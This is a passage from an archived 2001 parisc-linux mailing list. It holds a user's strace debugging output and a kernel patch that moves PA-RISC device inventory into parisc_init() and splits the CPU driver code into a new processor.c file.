Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp8.xs4all.nl (8.9.3/8.9.3) with ESMTP id HAA26041
	for <parisc-linux@lists.parisc-linux.org>; Sun, 2 Sep 2001 07:00:10 +0200 (CEST)
Original-Received: (qmail 6592 invoked from network); 1 Sep 2001 19:28:37 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 1 Sep 2001 19:28:37 -0000
Original-Received: (qmail 19624 invoked by uid 500); 1 Sep 2001 19:28:35 -0000
Content-Disposition: inline
In-Reply-To: <20010901201455.M5126@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:12050

On Sat, Sep 01, 2001 at 08:14:55PM +0100, Matthew Wilcox wrote:
> On Sat, Sep 01, 2001 at 08:32:32PM +0200, thunder7@xs4all.nl wrote:
> > should be 'Trace/breakpoint trap'
> 
> hmm.. what version of glibc do you have installed?  something else you
> can do is run strace -ff which will attempt to follow fork/clone/vfork.
> 
2.2.3-9. 2.2.4 is out, I know.

strace -ff:

idle()                                  = 0
fcntl(8, F_SETFD, FD_CLOEXEC)           = 0
SYS_201(0x8, 0x555b0, 0x1000, 0x220e1407, 0) = 72
brk(0x58000)                            = 0x58000
read(4, "", 4096)                       = 0
close(4)                                = 0
munmap(0x4001a000, 4096)                = 0
read(3, "+= drivers/scsi/scsidrv.o\nDRIVER"..., 4096) = 4096
open("arch/parisc/Makefile", O_RDONLY|O_LARGEFILE) = 4
idle()                                  = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001a000
read(4, "#\n# parisc/Makefile\n#\n# This fil"..., 4096) = 3156
pipe([9, 10])                           = 0
fork()                                  = 163
[pid   157] close(10)                   = 0
[pid   157] read(9,  <unfinished ...>
[pid   163] dup2(10, 1)                 = 1
[pid   163] close(10)                   = 0
[pid   163] execve("/usr/local/bin/uname", ["uname", "-m"], [/* 17 vars */]) = -1 ENOENT (No such file or directory)
[pid   163] execve("/usr/bin/uname", ["uname", "-m"], [/* 17 vars */]) = -1074780648
[pid   163] execve("", [ptrace: umoven: Input/output error
0x2], [/* 2 vars */]) = 1073908880
[pid   163] brk(0)                      = 0x23000
[pid   163] open("/etc/ld.so.preload", O_RDONLY) = -1 ENOENT (No such file or directory)
[pid   163] open("/etc/ld.so.cache", O_RDONLY) = 5
[pid   163] idle()                      = 0
[pid   163] mmap(NULL, 6556, PROT_READ, MAP_PRIVATE, 5, 0) = 0x40019000
[pid   163] close(5)                    = 0
[pid   163] open("/lib/libc.so.6", O_RDONLY) = 5
[pid   163] read(5, "\177ELF\1\2\1\3\0\0\0\0\0\0\0\0\0\3\0\17\0\0\0\1\0\2\300"..., 1024) = 1024
[pid   163] idle()                      = 0
[pid   163] mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001b000
[pid   163] mmap(NULL, 1417616, PROT_READ|PROT_EXEC, MAP_PRIVATE, 5, 0) = 0x4002a000
[pid   163] mprotect(0x40167000, 119184, PROT_NONE) = 0
[pid   163] mmap(0x40176000, 45056, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED, 5, 0x13c000) = 0x40176000
[pid   163] mmap(0x40181000, 12688, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x40181000
[pid   163] close(5)                    = 0
[pid   163] mprotect(0x10000, 12288, PROT_READ|PROT_WRITE) = 0
[pid   163] mprotect(0x10000, 12288, PROT_READ|PROT_EXEC) = 0
[pid   163] munmap(0x40019000, 6556)    = 0
[pid   163] getpid()                    = 163
[pid   163] brk(0)                      = 0x23000
[pid   163] brk(0x23030)                = 0x23030
[pid   163] brk(0x24000)                = 0x24000
[pid   163] newuname({sys="Linux", node="pa8200", ...}) = 0
[pid   163] idle()                      = 0
[pid   163] mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x40019000
[pid   163] write(1, "parisc\n", 7)     = 7
[pid   163] close(1)                    = 0
[pid   163] munmap(0x40019000, 4096)    = 0
[pid   163] exit(0)                     = ?
<... read resumed> "parisc\n", 200)     = 7
--- SIGCHLD (Child exited) ---
rt_sigreturn(0

Jurriaan
-- 
Treachery, treachery I fear; treachery of that miserable creature.
	JRR Tolkien - The Lord of the Rings.
GNU/Linux 2.4.9-ac5 SMP/ReiserFS 2x1402 bogomips load av: 0.09 0.09 0.02




From - Thu Nov 08 21:19:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbradetich@uswest.net (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] Delaying the device inventory detection time.
Date: Sat, 1 Sep 2001 23:25:32 -0600
Lines: 954
Approved: news@gmane.org
Message-ID: <20010901232532.B1745@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="9amGYk9869ThD9tj"
X-Trace: ger.gmane.org 1416620438 24791 80.91.229.3 (22 Nov 2014 01:40:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:38 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  1 23:25:34 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 74C34482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  1 Sep 2001 23:25:33 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id 3CC60BCE8; Sat,  1 Sep 2001 23:25:32 -0600 (MDT)
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:12051

--9amGYk9869ThD9tj
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hello parisc-linux hackers,

This is the first patch of a series that will hopefully get
the long awaited iotree into the cvs kernel repository.  The
goal of this patch was to delay the parisc device detection
until main memory had been setup. 

The current scheme relies upon a static, non-freeable array
which must be large enough to contain all the devices the
parisc box could inventory.  By delaying the parisc device
detection routines until after main memory is setup will
allow us to use kmalloc and only allocate memory for the
number of parisc devices present in the system.  Delaying
the parisc device detection routines also simplify the code
required for setting up the iotree.

This patch does not do all that yet.... this patch still
leaves the static table in place, and the detection routines.
This patch just changes the location the parisc device 
inventory is called from setup_arch() to parisc_init()
[formerly know as gsc_init].  I am posting this patch to the 
list and asking people to test it with different class 
machines, because this patch is a dependency for the rest
of the iotree stuff I'm working on.  It is also a small
enough, logical change that if problems arise, it will be
easier to debug then if it was bundled in with the rest
of the iotree.

Patch Summary:
	* Move the do_device_inventory() from setup_arch()
	  to parisc_init().
	* Renames the poorly named gsc_init function
	  to parisc_init and moves from drivers/gsc/gsc.c
	  to arch/parisc/kernel/setup.c
	* Seperates the arch/parisc/kernel/setup.c file
	  into setup routines and the processor driver.
	* Removes the register_fallback_cpu code, it should
	  now be obsolete.

Feedback, testing welcome.  I have tested this patch on the
C200+ and a 712/100.

Thanks,

- Ryan

--9amGYk9869ThD9tj
Content-Type: text/plain; charset=us-ascii
Content-Disposition: attachment; filename="inventory6.patch"

diff -u -p -r1.125 Makefile
--- Makefile	2001/08/31 06:02:18	1.125
+++ Makefile	2001/09/02 04:36:17
@@ -1,7 +1,7 @@
 VERSION = 2
 PATCHLEVEL = 4
 SUBLEVEL = 9
-EXTRAVERSION = -pa13
+EXTRAVERSION = -pa14
 
 KERNELRELEASE=$(VERSION).$(PATCHLEVEL).$(SUBLEVEL)$(EXTRAVERSION)
 
diff -u -p -r1.36 Makefile
--- arch/parisc/kernel/Makefile	2001/07/08 12:41:52	1.36
+++ arch/parisc/kernel/Makefile	2001/09/02 04:36:17
@@ -24,7 +24,7 @@ obj-y           += cache.o pacache.o set
 		pa7300lc.o pci-dma.o syscall.o entry.o sys_parisc.o \
 		firmware.o ptrace.o hardware.o inventory.o drivers.o \
 		semaphore.o signal.o hpmc.o real2.o parisc_ksyms.o \
-		unaligned.o
+		unaligned.o processor.o
 
 export-objs	:= parisc_ksyms.o
 
--- /dev/null	Tue May  5 14:32:27 1998
+++ arch/parisc/kernel/processor.c	Sat Sep  1 22:36:18 2001
@@ -0,0 +1,335 @@
+/*    $Id: setup.c,v 1.8 2000/02/02 04:42:38 prumpf Exp $
+ *
+ *    Initial setup-routines for HP 9000 based hardware.
+ *
+ *    Copyright (C) 1991, 1992, 1995  Linus Torvalds
+ *    Modifications for PA-RISC (C) 1999 Helge Deller <deller@gmx.de>
+ *    Modifications copyright 1999 SuSE GmbH (Philipp Rumpf)
+ *    Modifications copyright 2000 Martin K. Petersen <mkp@mkp.net>
+ *    Modifications copyright 2000 Philipp Rumpf <prumpf@tux.org>
+ *    Modifications copyright 2001 Ryan Bradetich <rbradetich@uswest.net>
+ *
+ *    Initial PA-RISC Version: 04-23-1999 by Helge Deller
+ *
+ *    This program is free software; you can redistribute it and/or modify
+ *    it under the terms of the GNU General Public License as published by
+ *    the Free Software Foundation; either version 2, or (at your option)
+ *    any later version.
+ *
+ *    This program is distributed in the hope that it will be useful,
+ *    but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *    GNU General Public License for more details.
+ *
+ *    You should have received a copy of the GNU General Public License
+ *    along with this program; if not, write to the Free Software
+ *    Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
+ *
+ */
+#include <linux/config.h>
+#include <linux/slab.h>
+#include <linux/mm.h>
+#include <linux/init.h>
+#include <linux/delay.h>
+#define PCI_DEBUG
+#include <linux/pci.h>
+#undef PCI_DEBUG
+
+#include <asm/cache.h>
+#include <asm/hardware.h>	/* for register_parisc_driver() stuff */
+#include <asm/processor.h>
+#include <asm/page.h>
+#include <asm/pdc.h>
+#include <asm/irq.h>		/* for struct irq_region */
+
+struct system_cpuinfo_parisc boot_cpu_data;
+struct cpuinfo_parisc cpu_data[NR_CPUS];
+
+/*
+**  	PARISC CPU driver - claim "device" and initialize CPU data structures.
+**
+** Consolidate per CPU initialization into (mostly) one module.
+** Monarch CPU will initialize boot_cpu_data which shouldn't
+** change once the system has booted.
+**
+** The callback *should* do per-instance initialization of
+** everything including the monarch. "Per CPU" init code in
+** setup.c:start_parisc() has migrated here and start_parisc()
+** will call register_parisc_driver(&cpu_driver) before calling do_inventory().
+**
+** The goal of consolidating CPU initialization into one place is
+** to make sure all CPU's get initialized the same way.
+** The code path not shared is how PDC hands control of the CPU to the OS.
+** The initialization of OS data structures is the same (done below).
+*/
+
+/**
+ * processor_probe - Determine if processor driver should claim this device.
+ * @dev: The device which has been found.
+ *
+ * Determine if processor driver should claim this chip (return 0) or not 
+ * (return 1).  If so, initialize the chip and tell other partners in crime 
+ * they have work to do.
+ */
+static int __init processor_probe(struct parisc_device *dev)
+{
+	unsigned long txn_addr;
+	unsigned long cpuid;
+	struct cpuinfo_parisc *p;
+
+#ifndef CONFIG_SMP
+	if (boot_cpu_data.cpu_count > 0) {
+		printk(KERN_INFO "CONFIG_SMP=n  ignoring additional CPUs\n");
+		return(1);
+	}
+#endif
+
+#ifdef __LP64__
+	if (is_pdc_pat()) {
+		ulong status;
+		unsigned long bytecnt;
+	        pdc_pat_cell_mod_maddr_block_t pa_pdc_cell;
+		struct pdc_pat_cpu_num cpu_info;
+
+		status = pdc_pat_cell_module(&bytecnt, dev->pcell_loc,
+			dev->mod_index, PA_VIEW, &pa_pdc_cell);
+
+		ASSERT(PDC_RET_OK == status);
+
+		/* verify it's the same as what do_pat_inventory() found */
+		ASSERT(dev->mod_info == pa_pdc_cell.mod_info);
+		ASSERT(dev->pmod_loc == pa_pdc_cell.mod_location);
+		ASSERT(dev->mod_path == pa_pdc_cell.mod_path);
+
+		txn_addr = pa_pdc_cell.mod[0];   /* id_eid for IO sapic */
+
+		/* get the cpu number */
+		status = pdc_pat_cpu_get_number(&cpu_info, dev->hpa);
+
+		ASSERT(PDC_RET_OK == status);
+
+		if(cpu_info.cpu_num >= NR_CPUS) {
+			printk(KERN_WARNING "IGNORING CPU at 0x%x,"
+				" cpu_slot_id > NR_CPUS"
+				" (%ld > %d)\n",
+				dev->hpa, cpu_info.cpu_num, NR_CPUS);
+			/* Ignore CPU since it will only crash */
+			boot_cpu_data.cpu_count--;
+			return(1);
+		} else {
+			cpuid = cpu_info.cpu_num;
+		}
+	} else
+#endif
+	{
+		txn_addr = dev->hpa;	/* for legacy PDC */
+
+		/* logical CPU ID and update global counter */
+		cpuid = boot_cpu_data.cpu_count;
+	}
+
+	p = &cpu_data[cpuid];
+	boot_cpu_data.cpu_count++;
+
+	/* initialize counters */
+	memset(p, 0, sizeof(struct cpuinfo_parisc));
+
+	p->dev = dev;		/* Save IODC data in case we need it */
+	p->hpa = dev->hpa;	/* save CPU hpa */
+	p->cpuid = cpuid;	/* save CPU id */
+	p->txn_addr = txn_addr;	/* save CPU hpa */
+
+	/*
+	** CONFIG_SMP: init_smp_config() will attempt to get CPU's into
+	** OS control. RENDEZVOUS is the default state - see mem_set above.
+	**	p->state = STATE_RENDEZVOUS;
+	*/
+
+	/*
+	** itimer and ipi IRQ handlers are statically initialized in
+	** arch/parisc/kernel/irq.c. ie Don't need to register them.
+	*/
+	p->region = irq_region[IRQ_FROM_REGION(CPU_IRQ_REGION)];
+
+	return 0;
+}
+
+/**
+ * collect_boot_cpu_data - Fill the boot_cpu_data structure.
+ *
+ * This function collects and stores the generic processor information
+ * in the boot_cpu_data structure.
+ */
+void __init collect_boot_cpu_data(void)
+{
+	memset(&boot_cpu_data,0,sizeof(boot_cpu_data));
+
+	boot_cpu_data.cpu_hz = 100 * PAGE0->mem_10msec; /* Hz of this PARISC */
+
+	/* get CPU-Model Information... */
+#define p ((unsigned long *)&boot_cpu_data.pdc.model)
+	if(pdc_model_info(&boot_cpu_data.pdc.model)==0)
+		printk(KERN_INFO 
+			"model	%08lx %08lx %08lx %08lx %08lx %08lx %08lx %08lx %08lx\n",
+			p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7], p[8]);
+#undef p
+
+	if(pdc_model_versions(&boot_cpu_data.pdc.versions, 0)==0)
+		printk(KERN_INFO "vers\t%08lx\n", 
+			boot_cpu_data.pdc.versions);
+
+	if(pdc_model_cpuid(&boot_cpu_data.pdc.cpuid)==0)
+		printk(KERN_INFO "cpuid\t%08lx\n",
+			boot_cpu_data.pdc.cpuid);
+
+	printk(KERN_INFO "CPUID\tvers %ld rev %ld\n",
+		(boot_cpu_data.pdc.cpuid >> 5) & 127,
+		boot_cpu_data.pdc.cpuid & 31);
+
+	if (pdc_model_sysmodel(boot_cpu_data.pdc.sys_model_name)==0)
+		printk(KERN_INFO "model\t%s\n",
+			boot_cpu_data.pdc.sys_model_name);
+
+	boot_cpu_data.hversion =  boot_cpu_data.pdc.model.hversion;
+	boot_cpu_data.sversion =  boot_cpu_data.pdc.model.sversion;
+
+	boot_cpu_data.cpu_type =
+			parisc_get_cpu_type(boot_cpu_data.hversion);
+
+	boot_cpu_data.cpu_name = cpu_name_version[boot_cpu_data.cpu_type][0];
+	boot_cpu_data.family_name = cpu_name_version[boot_cpu_data.cpu_type][1];
+}
+
+/*
+** Set width/Enable FP coprocessor
+**
+** REVISIT: this could be done in the "code 22" trap handler.
+** (frowands idea - that way we know which processes need FP
+** registers saved on the interrupt stack.)
+**
+** NEWS FLASH: wide kernels need FP coprocessor enabled to handle
+** formatted printing of %lx for example (double divides I think)
+*/
+
+/**
+ * init_per_cpu - Handle individual processor initializations.
+ * @cpuid: The processor instance.
+ *
+ * This function handles any initialization that needs to be done
+ * on each indiviual processor in the system.
+ */
+int __init init_per_cpu(int cpuid)
+{
+	int ret;
+	struct pdc_coproc_cfg coproc_cfg;
+
+	ret = pdc_coproc_cfg(&coproc_cfg);
+
+	if(ret >= 0 && coproc_cfg.ccr_functional) {
+		mtctl(coproc_cfg.ccr_functional, 10);  /* 10 == Coprocessor Control Reg */
+
+		/* FWIW, FP rev/model is a more accurate way to determine
+		** CPU type. CPU rev/model has some ambiguous cases.
+		*/
+		cpu_data[cpuid].fp_rev = coproc_cfg.revision;
+		cpu_data[cpuid].fp_model = coproc_cfg.model;
+
+		printk(KERN_INFO  "FP[%d] enabled: Rev %ld Model %ld\n",
+			cpuid, coproc_cfg.revision, coproc_cfg.model);
+
+		/*
+		** store status register to stack (hopefully aligned)
+		** and clear the T-bit.
+		*/
+		asm volatile ("fstd    %fr0,8(%sp)");
+
+	} else {
+		printk(KERN_WARNING  "WARNING: No FP CoProcessor?!"
+			" (coproc_cfg.ccr_functional == 0x%lx, expected 0xc0)\n"
+#ifdef __LP64__
+			"Halting Machine - FP required\n"
+#endif
+			, coproc_cfg.ccr_functional);
+#ifdef __LP64__
+		mdelay(100);	/* previous chars get pushed to console */
+		panic("FP CoProc not reported");
+#endif
+	}
+
+	/* FUTURE: Enable Performance Monitor : ccr bit 0x20 */
+
+	return ret;
+}
+
+#ifdef CONFIG_PROC_FS
+/**
+ * get_cpuinfo - Display the processor information for use by procfs.
+ * @buffer: The buffer to hold the processor information.
+ *
+ * This is the callback function for the /proc/cpuinfo  entry in procfs.
+ */
+int get_cpuinfo(char *buffer)
+{
+	char	*p = buffer;
+	int	n;
+
+	for(n=0; n<boot_cpu_data.cpu_count; n++) {
+#ifdef CONFIG_SMP
+		if (0 == cpu_data[n].hpa)
+			continue;
+#ifdef ENTRY_SYS_CPUS
+#error iCOD support wants to show CPU state here
+#endif
+#endif
+		p += sprintf(p, "processor\t: %d\n"
+				"cpu family\t: PA-RISC %s\n",
+				 n, boot_cpu_data.family_name);
+
+		p += sprintf(p, "cpu\t\t: %s\n",  boot_cpu_data.cpu_name );
+
+		/* cpu MHz */
+		p += sprintf(p, "cpu MHz\t\t: %d.%06d\n",
+				 boot_cpu_data.cpu_hz / 1000000,
+				 boot_cpu_data.cpu_hz % 1000000  );
+
+		p += sprintf(p, "model\t\t: %s\n"
+				"model name\t: %s\n",
+				 boot_cpu_data.pdc.sys_model_name,
+				 cpu_data[n].dev ? 
+				 cpu_data[n].dev->name : "Unknown" );
+
+		p += sprintf(p, "hversion\t: 0x%08x\n"
+			        "sversion\t: 0x%08x\n",
+				 boot_cpu_data.hversion,
+				 boot_cpu_data.sversion );
+
+		p += get_cache_info(p);
+		/* print cachesize info ? */
+		p += sprintf(p, "bogomips\t: %lu.%02lu\n",
+			     loops_per_jiffy / (500000 / HZ),
+			     (loops_per_jiffy / (5000 / HZ)) % 100);
+	}
+	return p - buffer;
+}
+#endif
+
+static struct parisc_device_id processor_tbl[] = {
+	{ HPHW_NPROC, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, SVERSION_ANY_ID },
+	{ 0, }
+};
+
+static struct parisc_driver cpu_driver = {
+	name:		"CPU",
+	id_table:	processor_tbl,
+	probe:		processor_probe
+};
+
+/**
+ * processor_init - Processor initalization procedure.
+ *
+ * Register this driver.
+ */
+void __init processor_init(void)
+{
+	register_parisc_driver(&cpu_driver);
+}
--- arch/parisc/kernel/setup.c	2001/08/28 08:08:35	1.89
+++ arch/parisc/kernelsetup.c	2001/09/02 04:36:18
@@ -7,6 +7,7 @@
  *    Modifications copyright 1999 SuSE GmbH (Philipp Rumpf)
  *    Modifications copyright 2000 Martin K. Petersen <mkp@mkp.net>
  *    Modifications copyright 2000 Philipp Rumpf <prumpf@tux.org>
+ *    Modifications copyright 2001 Ryan Bradetich <rbradetich@uswest.net>
  *
  *    Initial PA-RISC Version: 04-23-1999 by Helge Deller
  *
@@ -27,50 +28,28 @@
  */
 
 #include <linux/config.h>
-#include <linux/errno.h>
 #include <linux/kernel.h>
-#include <linux/slab.h>
-#include <linux/mm.h>
-#include <linux/ptrace.h>
-#include <linux/sched.h>
-#include <linux/stddef.h>
-#include <linux/unistd.h>
-#include <linux/user.h>
-#include <linux/tty.h>
-#include <linux/fs.h>
-#include <linux/kdev_t.h>
-#include <linux/major.h>
-#include <linux/string.h>
 #include <linux/blk.h>          /* for initrd_start and initrd_end */
 #include <linux/init.h>
-#include <linux/interrupt.h>
 #include <linux/console.h>
-#include <linux/bootmem.h>
-#include <linux/delay.h>
+#define PCI_DEBUG
 #include <linux/pci.h>
-#include <linux/threads.h>
+#undef PCI_DEBUG
+#include <linux/proc_fs.h>
 
-#include <asm/cache.h>
-#include <asm/hardware.h>	/* for register_parisc_driver() stuff */
 #include <asm/processor.h>
-#include <asm/page.h>
 #include <asm/pdc.h>
 #include <asm/led.h>
-#include <asm/system.h>
 #include <asm/machdep.h>	/* for pa7300lc_init() proto */
 
-#include <asm/irq.h>		/* for struct irq_region */
-
-#include <linux/proc_fs.h>
-
 #define COMMAND_LINE_SIZE 1024
 char	saved_command_line[COMMAND_LINE_SIZE];
 char	command_line[COMMAND_LINE_SIZE];
 
-struct system_cpuinfo_parisc boot_cpu_data;
-struct cpuinfo_parisc cpu_data[NR_CPUS];
+/* Intended for ccio/sba/cpu statistics under /proc/bus/{runway|gsc} */
+struct proc_dir_entry * proc_runway_root = NULL;
+struct proc_dir_entry * proc_gsc_root = NULL;
 
-static long fallback_cpu_hpa[] __initdata = { 0xfffa0000L, 0xfffbe000L, 0x0 };
 
 /* This has to go somewhere in architecture specific code. */
 
@@ -93,225 +72,6 @@ int EISA_bus;
 ** The code path not shared is how PDC hands control of the CPU to the OS.
 ** The initialization of OS data structures is the same (done below).
 */
-#undef ASSERT
-#define ASSERT(expr) \
-	if(!(expr)) { \
-		printk( "\n" __FILE__ ":%d: Assertion " #expr " failed!\n",__LINE__); \
-		panic(#expr); \
-	}
-
-
-static int __init
-cpu_driver_callback(struct parisc_device *dev)
-{
-	unsigned long txn_addr;
-	unsigned long cpuid;
-	struct cpuinfo_parisc *p;
-
-#ifndef CONFIG_SMP
-	if (boot_cpu_data.cpu_count > 0) {
-		printk(KERN_INFO "CONFIG_SMP=n  ignoring additional CPUs\n");
-		return(1);
-	}
-#endif
-
-#ifdef __LP64__
-	if (is_pdc_pat()) {
-		ulong status;
-		unsigned long bytecnt;
-	        pdc_pat_cell_mod_maddr_block_t pa_pdc_cell;
-		struct pdc_pat_cpu_num cpu_info;
-
-		status = pdc_pat_cell_module(&bytecnt, dev->pcell_loc,
-			dev->mod_index, PA_VIEW, &pa_pdc_cell);
-
-		ASSERT(PDC_RET_OK == status);
-
-		/* verify it's the same as what do_pat_inventory() found */
-		ASSERT(dev->mod_info == pa_pdc_cell.mod_info);
-		ASSERT(dev->pmod_loc == pa_pdc_cell.mod_location);
-		ASSERT(dev->mod_path == pa_pdc_cell.mod_path);
-
-		txn_addr = pa_pdc_cell.mod[0];   /* id_eid for IO sapic */
-
-		/* get the cpu number */
-		status = pdc_pat_cpu_get_number(&cpu_info, dev->hpa);
-
-		ASSERT(PDC_RET_OK == status);
-
-		if(cpu_info.cpu_num >= NR_CPUS) {
-			printk(KERN_WARNING "IGNORING CPU at 0x%x,"
-				" cpu_slot_id > NR_CPUS"
-				" (%ld > %d)\n",
-				dev->hpa, cpu_info.cpu_num, NR_CPUS);
-			/* Ignore CPU since it will only crash */
-			boot_cpu_data.cpu_count--;
-			return(1);
-		} else {
-			cpuid = cpu_info.cpu_num;
-		}
-	} else
-#endif
-	{
-		txn_addr = dev->hpa;	/* for legacy PDC */
-
-		/* logical CPU ID and update global counter */
-		cpuid = boot_cpu_data.cpu_count;
-	}
-
-	p = &cpu_data[cpuid];
-	boot_cpu_data.cpu_count++;
-
-	/* initialize counters */
-	memset(p, 0, sizeof(struct cpuinfo_parisc));
-
-	p->dev = dev;		/* Save IODC data in case we need it */
-	p->hpa = dev->hpa;	/* save CPU hpa */
-	p->cpuid = cpuid;	/* save CPU id */
-	p->txn_addr = txn_addr;	/* save CPU hpa */
-
-	/*
-	** CONFIG_SMP: init_smp_config() will attempt to get CPU's into
-	** OS control. RENDEZVOUS is the default state - see mem_set above.
-	**	p->state = STATE_RENDEZVOUS;
-	*/
-
-	/*
-	** itimer and ipi IRQ handlers are statically initialized in
-	** arch/parisc/kernel/irq.c. ie Don't need to register them.
-	*/
-	p->region = irq_region[IRQ_FROM_REGION(CPU_IRQ_REGION)];
-
-	return 0;
-}
-
-
-/* Some versions of IODC don't list the CPU, and since we don't walk
- * the bus yet, we have to probe for processors at well known hpa
- * addresses.
- */
-
-void __init register_fallback_cpu (void)
-{
-	int i = 0;
-
-	printk(KERN_INFO "No CPUs reported by firmware - probing...\n");
-
-	while (fallback_cpu_hpa[i]) {
-		struct parisc_device *dev = alloc_pa_dev(fallback_cpu_hpa[i]);
-		/* Um, where do we free this? */
-
-		if (dev && (HPHW_NPROC == dev->id.hw_type)) {
-			printk(KERN_INFO "Found CPU at %lx\n", fallback_cpu_hpa[i]);
-			register_pa_dev(dev);
-			return;
-		}
-
-		i++;
-	}
-
-	panic ("Don't know where this CPU lives.  System halted.\n");
-	return;
-}
-
-
-/*
- * Get CPU information and store it in the boot_cpu_data structure.  */
-void __init collect_boot_cpu_data(void)
-{
-	memset(&boot_cpu_data,0,sizeof(boot_cpu_data));
-
-	boot_cpu_data.cpu_hz = 100 * PAGE0->mem_10msec; /* Hz of this PARISC */
-
-	/* get CPU-Model Information... */
-#define p ((unsigned long *)&boot_cpu_data.pdc.model)
-	if(pdc_model_info(&boot_cpu_data.pdc.model)==0)
-		printk(KERN_INFO 
-			"model	%08lx %08lx %08lx %08lx %08lx %08lx %08lx %08lx %08lx\n",
-			p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7], p[8]);
-#undef p
-
-	if(pdc_model_versions(&boot_cpu_data.pdc.versions, 0)==0)
-		printk(KERN_INFO "vers\t%08lx\n", 
-			boot_cpu_data.pdc.versions);
-
-	if(pdc_model_cpuid(&boot_cpu_data.pdc.cpuid)==0)
-		printk(KERN_INFO "cpuid\t%08lx\n",
-			boot_cpu_data.pdc.cpuid);
-
-	printk(KERN_INFO "CPUID\tvers %ld rev %ld\n",
-		(boot_cpu_data.pdc.cpuid >> 5) & 127,
-		boot_cpu_data.pdc.cpuid & 31);
-
-	if (pdc_model_sysmodel(boot_cpu_data.pdc.sys_model_name)==0)
-		printk(KERN_INFO "model\t%s\n",
-			boot_cpu_data.pdc.sys_model_name);
-
-	boot_cpu_data.hversion =  boot_cpu_data.pdc.model.hversion;
-	boot_cpu_data.sversion =  boot_cpu_data.pdc.model.sversion;
-
-	boot_cpu_data.cpu_type =
-			parisc_get_cpu_type(boot_cpu_data.hversion);
-
-	boot_cpu_data.cpu_name = cpu_name_version[boot_cpu_data.cpu_type][0];
-	boot_cpu_data.family_name = cpu_name_version[boot_cpu_data.cpu_type][1];
-}
-
-/*
-** Set width/Enable FP coprocessor
-**
-** REVISIT: this could be done in the "code 22" trap handler.
-** (frowands idea - that way we know which processes need FP
-** registers saved on the interrupt stack.)
-**
-** NEWS FLASH: wide kernels need FP coprocessor enabled to handle
-** formatted printing of %lx for example (double divides I think)
-*/
-static int __init
-init_per_cpu(int cpuid)
-{
-	int ret;
-	struct pdc_coproc_cfg coproc_cfg;
-
-	ret = pdc_coproc_cfg(&coproc_cfg);
-
-	if(ret >= 0 && coproc_cfg.ccr_functional) {
-		mtctl(coproc_cfg.ccr_functional, 10);  /* 10 == Coprocessor Control Reg */
-
-		/* FWIW, FP rev/model is a more accurate way to determine
-		** CPU type. CPU rev/model has some ambiguous cases.
-		*/
-		cpu_data[cpuid].fp_rev = coproc_cfg.revision;
-		cpu_data[cpuid].fp_model = coproc_cfg.model;
-
-		printk(KERN_INFO  "FP[%d] enabled: Rev %ld Model %ld\n",
-			cpuid, coproc_cfg.revision, coproc_cfg.model);
-
-		/*
-		** store status register to stack (hopefully aligned)
-		** and clear the T-bit.
-		*/
-		asm volatile ("fstd    %fr0,8(%sp)");
-
-	} else {
-		printk(KERN_WARNING  "WARNING: No FP CoProcessor?!"
-			" (coproc_cfg.ccr_functional == 0x%lx, expected 0xc0)\n"
-#ifdef __LP64__
-			"Halting Machine - FP required\n"
-#endif
-			, coproc_cfg.ccr_functional);
-#ifdef __LP64__
-		mdelay(100);	/* previous chars get pushed to console */
-		panic("FP CoProc not reported");
-#endif
-	}
-
-	/* FUTURE: Enable Performance Monitor : ccr bit 0x20 */
-
-	return(ret);
-}
-
-
 void __init setup_cmdline(char **cmdline_p)
 {
 	extern unsigned int boot_args[];
@@ -363,18 +123,9 @@ void __init dma_ops_init(void)
 	}
 }
 
+extern int init_per_cpu(int cpuid);
+extern void collect_boot_cpu_data(void);
 
-static struct parisc_device_id cpu_tbl[] = {
-	{ HPHW_NPROC, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, SVERSION_ANY_ID },
-	{ 0, }
-};
-
-static struct parisc_driver cpu_driver = {
-	name:		"CPU",
-	id_table:	cpu_tbl,
-	probe:		cpu_driver_callback
-};
-
 void __init setup_arch(char **cmdline_p)
 {
 	init_per_cpu(smp_processor_id());	/* Set Modes & Enable FP */
@@ -403,16 +154,6 @@ void __init setup_arch(char **cmdline_p)
 #endif
 
 	dma_ops_init();
-	do_device_inventory();                  /* probe for hardware */
-	register_parisc_driver(&cpu_driver);	/* claim all the CPUs */
-	if (boot_cpu_data.cpu_count == 0)
